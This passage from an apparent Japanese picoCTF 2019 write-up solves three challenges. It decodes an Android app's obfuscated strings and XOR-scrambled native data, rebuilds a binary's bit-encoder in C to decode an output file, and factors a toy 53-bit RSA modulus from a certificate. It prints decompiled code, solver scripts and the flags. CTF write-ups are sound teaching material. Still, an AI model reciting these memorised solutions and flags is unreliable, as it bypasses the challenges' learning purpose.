        context.setCharAt(0, (char)(context.charAt(0) + 4));
        context.setCharAt(1, (char)(context.charAt(1) + 19));
        context.setCharAt(2, (char)(context.charAt(2) + 18));
        stringbuilder.setCharAt(0, (char)(stringbuilder.charAt(0) + 7));
        stringbuilder.setCharAt(1, (char)(stringbuilder.charAt(1) + 0));
        stringbuilder.setCharAt(2, (char)(stringbuilder.charAt(2) + 1));
        stringbuilder1.setCharAt(0, (char)(stringbuilder1.charAt(0) + 0));
        stringbuilder1.setCharAt(1, (char)(stringbuilder1.charAt(1) + 11));
        stringbuilder1.setCharAt(2, (char)(stringbuilder1.charAt(2) + 15));
        stringbuilder2.setCharAt(0, (char)(stringbuilder2.charAt(0) + 14));
        stringbuilder2.setCharAt(1, (char)(stringbuilder2.charAt(1) + 20));
        stringbuilder2.setCharAt(2, (char)(stringbuilder2.charAt(2) + 15));
        if(s.equals("".concat(stringbuilder1.toString()).concat(stringbuilder.toString()).concat(context.toString()).concat(stringbuilder2.toString())))
            return "call it";
        else
            return "NOPE";
    }
}

上記のgetFlagで文字列をワチャワチャしているところを復号するとcall itと表示してくれるようです。droids3同様、今回もlibhellojni.soが付いており、いろんな関数が埋め込まれているので、復号すると呼ぶべき関数名を表示してくれるんでしょうか。やってみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

context = list('aaa')
stringbuilder = list('aaa')
stringbuilder1 = list('aaa')
stringbuilder2 = list('aaa')

context[0] = chr(ord(context[0])+4)
context[1] = chr(ord(context[1])+19)
context[2] = chr(ord(context[2])+18)
stringbuilder[0] = chr(ord(stringbuilder[0])+7)
stringbuilder[1] = chr(ord(stringbuilder[1])+0)
stringbuilder[2] = chr(ord(stringbuilder[2])+1)
stringbuilder1[0] = chr(ord(stringbuilder1[0])+0)
stringbuilder1[1] = chr(ord(stringbuilder1[1])+11)
stringbuilder1[2] = chr(ord(stringbuilder1[2])+15)
stringbuilder2[0] = chr(ord(stringbuilder2[0])+14)
stringbuilder2[1] = chr(ord(stringbuilder2[1])+20)
stringbuilder2[2] = chr(ord(stringbuilder2[2])+15)

print(''.join(stringbuilder1 + stringbuilder + context + stringbuilder2))

実行結果

$ python solve.py
alphabetsoup

試しにこれをAndroidStudioのエミュレーターで立ち上げたアプリに入れてみると、call itと表示されました。

f:id:kusuwada:20200228145947p:plain

しかし、libhellojni.soを探してもalphabetsoupみたいな関数は見つかりません。。。
困ったなーと思いつつ、出力されたjavaファイルを眺めていたら、長い処理に埋もれてこんな一行が。

    public static native String cardamom(String s);

わからんけど、引数String sだし、さっきのalphabetsoupをこれに突っ込んだらflag出てくるかな?
libhellojni.soをghidraに突っ込んでdecompileしてもらいました。今回はcardamom関連のソースを引っ張ってきました。

undefined8 Java_com_hellocmu_picoctf_FlagstaffHill_cardamom
          (longlong *plParm1,undefined8 uParm2, undefined8 uParm3) {
  byte is_valid;
  undefined8 c;
  char *message;
  
  c = (**(code **)(*plParm1 + 0x548))(plParm1,uParm3);
  is_valid = chervil(c);
  (**(code **)(*plParm1 + 0x550))(plParm1,uParm3,c);
  if ((is_valid & 1) == 0) {
    message = "try again";
  }
  else {
    message = (char *)pepper(c);
  }
  c = (**(code **)(*plParm1 + 0x538))(plParm1,message);
  free(message);
  return c;
}

ulonglong chervil(char *c) {
  int iVar1;
  char *cp_c;
  char *pcVar3;
  char *pcVar4;
  char *pcVar5;
  char *__s;
  
  cp_c = strdup("aaa");
  pcVar3 = strdup("aaa");
  pcVar4 = strdup("aaa");
  pcVar5 = strdup("aaa");
  *cp_c = *cp_c + '\x04';
  cp_c[1] = cp_c[1] + '\x13';
  cp_c[2] = cp_c[2] + '\x12';
  *pcVar3 = *pcVar3 + '\a';
  pcVar3[1] = pcVar3[1];
  pcVar3[2] = pcVar3[2] + '\x01';
  *pcVar4 = *pcVar4;
  pcVar4[1] = pcVar4[1] + '\v';
  pcVar4[2] = pcVar4[2] + '\x0f';
  *pcVar5 = *pcVar5 + '\x0e';
  pcVar5[1] = pcVar5[1] + '\x14';
  pcVar5[2] = pcVar5[2] + '\x0f';
  __s = (char *)calloc(100,1);
  sprintf(__s,"%s%s%s%s",pcVar4,pcVar3,cp_c,pcVar5);
  iVar1 = strcmp(__s,c);
  return (ulonglong)(iVar1 == 0);
}

void pepper(char *c) {
  size_t len_c;
  char *cp_c;
  
  cp_c = strdup(c);
  len_c = strlen(c);
  unscramble(&DAT_00101db8,0x1f,cp_c,(ulonglong)len_c);
  return;
}

void * unscramble(int data, size_t size, int key, int key_len) {
  // size = 26 (0x1a)
  
  void *buff;
  int j;
  int i;
  
  buff = calloc(size,1);
  j = 0;
  i = 0;
  while (i < (int)size) {
    *(byte *)((int)buff + i) =
         *(byte *)(data + i) ^ *(byte *)(key + j % key_len);
    j = j + 1;
    i = i + 1;
  }
  return buff;
}

chervilはvalidationなので無視。inputとDAT_00101db8をxorするプログラムのようなので、逆変換(xor)してあげます。
unscrambleはdroids3でも出てきたので使いまわし。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

key = 'alphabetsoup'
data = '11 05 13 07 22 36 23 0f 1d 00 01 5e 11 0d 02 1c 08 01 10 18 12 1d 19 09 4f 1f 19 04 0d 1b 18'.split()
flag = ''

for i in range(len(data)):
    flag += chr(ord(key[i%len(key)]) ^ int(data[i], 16))

print(flag)

実行結果

$ python solve2.py 
picoCTF{not.particularly.silly}

[Forensics] investigation_encoded_2 (500pt)

We have recovered a binary and 1 file: image01. See what you can make of it. Its also found in /problems/investigation-encoded-2_3_d1b99c25ffc30dc45a2fb6aa3482c62b on the shell server. NOTE: The flag is not in the normal picoCTF{XXX} format.

Hints

Only use lower case letters and numbers

実行ファイルmysteryと、outputが配布されます。

investigation_encoded_1 と同じアプローチを試します。

ghidraでmysteryファイルをdecompileした結果。

undefined8 main(void) {
  long file_position;
  size_t data_num;
  undefined4 local_18;
  int socket;
  FILE *file_flag;
  
  badChars = '\0';
  file_flag = fopen("flag.txt","r");
  if (file_flag == (FILE *)0x0) {
    fwrite("Error: file ./flag.txt not found\n",1,0x21,stderr);
    exit(1);
  }
  flag_size = 0;
  fseek(file_flag,0,2);
  file_position = ftell(file_flag);
  flag_size = (int)file_position;
  fseek(file_flag,0,0);
  login();
  if (0xfffe < flag_size) {
    fwrite("Error, file bigger than 65535\n",1,0x1e,stderr);
    exit(1);
  }
  flag = malloc((long)flag_size);
  data_num = fread(flag,1,(long)flag_size,file_flag);
  if (data_num < 1) {
    exit(0);
  }
  local_18 = 0;
  flag_index = &local_18;
  output = fopen("output","w");
  buffChar = 0;
  remain = 7;
  fclose(file_flag);
  encode();
  fclose(output);
  if (badChars == '\x01') {
    fwrite("Invalid Characters in flag.txt\n./output is corrupted\n",1,0x35,stderr);
  }
  else {
    fwrite("I\'m Done, check file ./output\n",1,0x1e,stderr);
  }
  return 0;
}

void login(void) {
  int iVar1;
  undefined8 auth_c8;
  undefined8 auth_c0;
  undefined8 auth_b8;
  undefined8 auth_b0;
  undefined8 auth_a8;
  char auth_ans [48];
  sa_family_t addr_list;
  uint16_t local_26;
  undefined conn_result [12];
  int socket;
  hostent *host;
  
  host = gethostbyname("ZmFrZWF1dGhzaXRl.com");
  socket = socket(2,1,0);
  addr_list = 2;
  local_26 = htons(0x929);
  // htons() 関数は、短整数をホスト・バイト・オーダーからネットワーク・バイト・オーダーに変換します。
  bcopy(*host->h_addr_list,&addr_list + 4,(long)host->h_length);
  conn_result = connect(socket,(sockaddr *)&addr_list,0x10);
  if (conn_result == -1) {
    puts("Could not connect to Auth Server");
  }
  auth_c8 = 0x6e43203a68747541;
  auth_c0 = 0x33636c78575a7a56;
  auth_b8 = 0x53593046475a674d;
  auth_b0 = 0x6d61687057597142;
  auth_a8 = 0x4b45;
  send(socket,&auth_c8,100,0);
  recv(socket,auth_ans,0x21,0);
  is_success = strcmp(auth_ans,"QXV0aG9yaXplZCB0byBleGVjdXRlLi4u");
  if (is_success != 0) {
    puts("Permission not given by the Auth Server");
    printf(" answer: %s\n",auth_ans);
    exit(1);
  }
  printf(" answer: %s\n",auth_ans);
  shutdown(socket,2);
  return;
}

void encode(void) {
  byte bVar1;
  int iVar2;
  int local_10;
  char c;
  
  while (*flag_index < flag_size) {
    c = lower((ulong)(uint)(int)*(char *)((long)*flag_index + flag));
    if (c == ' ') {
      c = -0x7b;
    }
    else {
      if (('/' < c) && (c < ':')) {
        c = c + 'K';
      }
    }
    c = c + -0x61;
    if ((c < '\0') || ('$' < c)) {
      badChars = 1;
    }
    if (c != '$') {
      iVar2 = ((int)c + 0x12) % 0x24;
      bVar1 = (byte)(iVar2 >> 0x1f);
      c = ((byte)iVar2 ^ bVar1) - bVar1;
    }
    curr = *(int *)(indexTable + (long)(int)c * 4);
    end = *(int *)(indexTable + (long)((int)c + 1) * 4);
    while (curr < end) {
      getValue();
      save();
      curr = curr + 1;
    }
    *flag_index = *flag_index + 1;
  }
  while (remain != 7) {
    save(0);
  }
  return;
}

ulong getValue(int input) {
  byte shift;
  int  idx_i;
  
  idx_i = input;
  if (input < 0) {
    idx_i = input + 7;
  }
  shift = (byte)(input >> 0x37);
  return (ulong)((int)(uint)(byte)secret[(long)(idx_i >> 3)] >>
                 (7 - (((char)input + (shift >> 5) & 7) - (shift >> 5)) & 0x1f) & 1);
}

void save(byte input) {
  // buffChar は 初期値 0
  buffChar = buffChar | input;
  if (remain == 0) {
    remain = 7;
    fputc((int)(char)buffChar,output);
    buffChar = '\0';
  }
  else {
    buffChar = buffChar * '\x02';
    remain = remain + -1;
  }
  return;
}

途中login()という関数が入っているのと、ecnode()関数の内容が変わっている以外は同じテイストです。同じく、まずは encode の対応表を作ってあげます。今回はアルファベット+数字+空白のようですので、数字のマップも追加します。

今回もマップを作るのはCで書きました。

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

typedef unsigned char    byte;
typedef unsigned int     uint;
typedef unsigned long    ulong;

const uint8_t indexTable[] = {
0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0xb4, 0x00, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0xda, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x0e, 0x01, 0x00, 0x00, 0x1e, 0x01, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, 0x5a, 0x01, 0x00, 0x00, 0x6a, 0x01, 0x00, 0x00, 0x72, 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x9a, 0x01, 0x00, 0x00, 0xaa, 0x01, 0x00, 0x00, 0xbc, 0x01, 0x00, 0x00, 0xc8, 0x01, 0x00, 0x00, 0xd6, 0x01, 0x00, 0x00, 0xe0, 0x01, 0x00, 0x00, 0xea, 0x01, 0x00, 0x00, 0xf0, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x0a, 0x02, 0x00, 0x00, 0x16, 0x02, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x30, 0x02, 0x00, 0x00, 0x34, 0x02, 0x00, 0x00
};

const uint8_t secret[] = {
  0x8b, 0xaa, 0x2e, 0xee, 0xe8, 0xbb, 0xae, 0x8e, 0xbb, 0xae, 0x3a, 0xee, 0x8e, 0xee, 0xa8, 0xee, 0xae, 0xe3, 0xaa, 0xe3, 0xae, 0xbb, 0x8b, 0xae, 0xb8, 0xea, 0xae, 0x2e, 0xba, 0x2e, 0xae, 0x8a, 0xee, 0xa3, 0xab, 0xa3, 0xbb, 0xbb, 0x8b, 0xbb, 0xb8, 0xae, 0xee, 0x2a, 0xee, 0x2e, 0x2a, 0xb8, 0xaa, 0x8e, 0xaa, 0x3b, 0xaa, 0x3b, 0xba, 0x8e, 0xa8, 0xeb, 0xa3, 0xa8, 0xaa, 0x28, 0xbb, 0xb8, 0xae, 0x2a, 0xe2, 0xee, 0x3a, 0xb8
};

ulong getValue(int input) {
  byte shift;
  int idx_i;
  
  idx_i = input;
  if (input < 0) {
    idx_i = input + 7;
  }
  shift = (byte)(input >> 0x37);
  return (ulong)((int)(uint)(byte)secret[(long)(idx_i >> 3)] >>
                 (7 - (((char)input + (shift >> 5) & 7) - (shift >> 5)) & 0x1f) & 1);
}

void encode(char c) {
  int end;
  int curr;
  byte bVar1;
  int iVar2;
  
  printf("%c: ", c);
  if (c == ' ') {
    c = -0x7b;
  }
  else {
    if (('/' < c) && (c < ':')) {
      c = c + 'K';
    }
  }
  c = c + -0x61;
  if (c != '$') {
    iVar2 = ((int)c + 0x12) % 0x24;
    bVar1 = (byte)(iVar2 >> 0x1f);
    c = ((byte)iVar2 ^ bVar1) - bVar1;
  }
  curr = *(int *)(indexTable + (long)(int)c * 4);
  end = *(int *)(indexTable + (long)((int)c + 1) * 4);
  while (curr < end) {
    printf("%d", getValue(curr));
    curr = curr + 1;
  }
  printf("\n");
}

int main(int argc, char* argv[])
{
  int i;
  char c = 'a';
  for(i=0;i<26;i++) {
    encode((char)(c+i));
  }
  for(i=0;i<10;i++) {
    encode((char)('0'+i));
  }
}

実行結果

$ gcc solve.c -o solve
$ ./solve
$ ./solve 
a: 101011101110111000
b: 1010101110111000
c: 10111000
d: 10101010111000
e: 101010101000
f: 11101010101000
g: 1110111010101000
h: 111011101110101000
i: 111010101000
j: 11101011101000
k: 1110101000
l: 1010101000
m: 101000
n: 1011101110111000
o: 1010111000
p: 101010111000
q: 101110111000
r: 11101010111000
s: 1000
t: 10111010101000
u: 1011101110111011101000
v: 10111011101011101000
w: 1110101110111010111000
x: 111010111011101000
y: 11101110111010101000
z: 1110111010101110111000
0: 1110101010111000
1: 1110101110101110111000
2: 10111010111010111000
3: 111010101010111000
4: 1011101011101000
5: 101110101011101000
6: 101011101110101000
7: 1110101011101000
8: 1110111011101110111000
9: 10111011101110111000

前回同様、対応表ができました。これを使って output を解読します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*

from pprint import pprint

def pad8(b):
        while len(b) < 8:
            b = '0' + b
        return b

if __name__ == '__main__':
    # read enc_map
    enc_map = {}
    with open('map.txt', 'rb') as f:
        enc_data = f.readlines()
    for l in enc_data:
        line = l.decode().strip()
        enc_map[line.split(': ')[0]] = line.split(': ')[1]

    # decode
    with open('output', 'rb') as f:
        data = f.read()

    bin_str = ''
    for d in data:
        bin_str += pad8(bin(d)[2:])
    
    print('output bin: ' + str(bin_str))

    flag = ''
    
    b_search = ''
    for b in bin_str:
        b_search += b
        if b_search in enc_map.values():
            dec = [k for k, v in enc_map.items() if v == b_search][0]
            # print(dec)
            flag += dec
            b_search = ''
    print('flag: ' + flag)

実行結果

output bin: 10111010101000111010111010111011100010100011101010101011100011101010101000111010111010111011100011101010100011101010101011100010111010101110100011101010101110001110101010111000111010101011100011101010101110001110101010111000111010101011100011101010101110001110101010111000111010101011100011101010101110001110101010111000101011101110111000101110101011101000111010101010001110101010101110001011101011101000111010111010111011100011101010101110001011101010111010000000
flag: t1m3f1i3500000000000a5f34105

[Crypto] john_pollard (500pt)

Sometimes RSA certificates are breakable

Hints

The flag is in the format picoCTF{p,q} Try swapping p and q if it does not work

certファイルが配布されます。

$ cat cert
-----BEGIN CERTIFICATE-----
MIIB6zCB1AICMDkwDQYJKoZIhvcNAQECBQAwEjEQMA4GA1UEAxMHUGljb0NURjAe
Fw0xOTA3MDgwNzIxMThaFw0xOTA2MjYxNzM0MzhaMGcxEDAOBgNVBAsTB1BpY29D
VEYxEDAOBgNVBAoTB1BpY29DVEYxEDAOBgNVBAcTB1BpY29DVEYxEDAOBgNVBAgT
B1BpY29DVEYxCzAJBgNVBAYTAlVTMRAwDgYDVQQDEwdQaWNvQ1RGMCIwDQYJKoZI
hvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQABMA0GCSqGSIb3DQEBAgUAA4IBAQAH
al1hMsGeBb3rd/Oq+7uDguueopOvDC864hrpdGubgtjv/hrIsph7FtxM2B4rkkyA
eIV708y31HIplCLruxFdspqvfGvLsCynkYfsY70i6I/dOA6l4Qq/NdmkPDx7edqO
T/zK4jhnRafebqJucXFH8Ak+G6ASNRWhKfFZJTWj5CoyTMIutLU9lDiTXng3rDU1
BhXg04ei1jvAf0UrtpeOA6jUyeCLaKDFRbrOm35xI79r28yO8ng1UAzTRclvkORt
b8LMxw7e+vdIntBGqf7T25PLn/MycGPPvNXyIsTzvvY/MXXJHnAqpI5DlqwzbRHz
q16/S1WLvzg4PsElmv1f
-----END CERTIFICATE-----

証明書でした。中身を確認してみます。

$ openssl x509 -in cert -text
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 12345 (0x3039)
    Signature Algorithm: md2WithRSAEncryption
        Issuer: CN=PicoCTF
        Validity
            Not Before: Jul  8 07:21:18 2019 GMT
            Not After : Jun 26 17:34:38 2019 GMT
        Subject: OU=PicoCTF, O=PicoCTF, L=PicoCTF, ST=PicoCTF, C=US, CN=PicoCTF
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (53 bit)
                Modulus: 4966306421059967 (0x11a4d45212b17f)
                Exponent: 65537 (0x10001)
    Signature Algorithm: md2WithRSAEncryption
         07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb:
         9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a:
         c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc:
         b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c:
         a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9:
         a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:
         6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:
         a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
         35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8:
         d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc:
         8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e:
         de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63:
         cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e:
         43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:
         25:9a:fd:5f
-----BEGIN CERTIFICATE-----
MIIB6zCB1AICMDkwDQYJKoZIhvcNAQECBQAwEjEQMA4GA1UEAxMHUGljb0NURjAe
Fw0xOTA3MDgwNzIxMThaFw0xOTA2MjYxNzM0MzhaMGcxEDAOBgNVBAsTB1BpY29D
VEYxEDAOBgNVBAoTB1BpY29DVEYxEDAOBgNVBAcTB1BpY29DVEYxEDAOBgNVBAgT
B1BpY29DVEYxCzAJBgNVBAYTAlVTMRAwDgYDVQQDEwdQaWNvQ1RGMCIwDQYJKoZI
hvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQABMA0GCSqGSIb3DQEBAgUAA4IBAQAH
al1hMsGeBb3rd/Oq+7uDguueopOvDC864hrpdGubgtjv/hrIsph7FtxM2B4rkkyA
eIV708y31HIplCLruxFdspqvfGvLsCynkYfsY70i6I/dOA6l4Qq/NdmkPDx7edqO
T/zK4jhnRafebqJucXFH8Ak+G6ASNRWhKfFZJTWj5CoyTMIutLU9lDiTXng3rDU1
BhXg04ei1jvAf0UrtpeOA6jUyeCLaKDFRbrOm35xI79r28yO8ng1UAzTRclvkORt
b8LMxw7e+vdIntBGqf7T25PLn/MycGPPvNXyIsTzvvY/MXXJHnAqpI5DlqwzbRHz
q16/S1WLvzg4PsElmv1f
-----END CERTIFICATE-----

次に、公開鍵を取り出してみます。

$ openssl x509 -in cert -pubkey -noout
-----BEGIN PUBLIC KEY-----
MCIwDQYJKoZIhvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQAB
-----END PUBLIC KEY-----

出てきました。証明書に書いてあるとおり、

n(modulus) = 4966306421059967
e = 65537

になります。この n を先程も使った factordb.com素因数分解すると、DBにあったらしくヒットしました! 67867967,73176001だそうです。これが p,qのはずなので、flagに突っ込みます。

flag: picoCTF{73176001,67867967}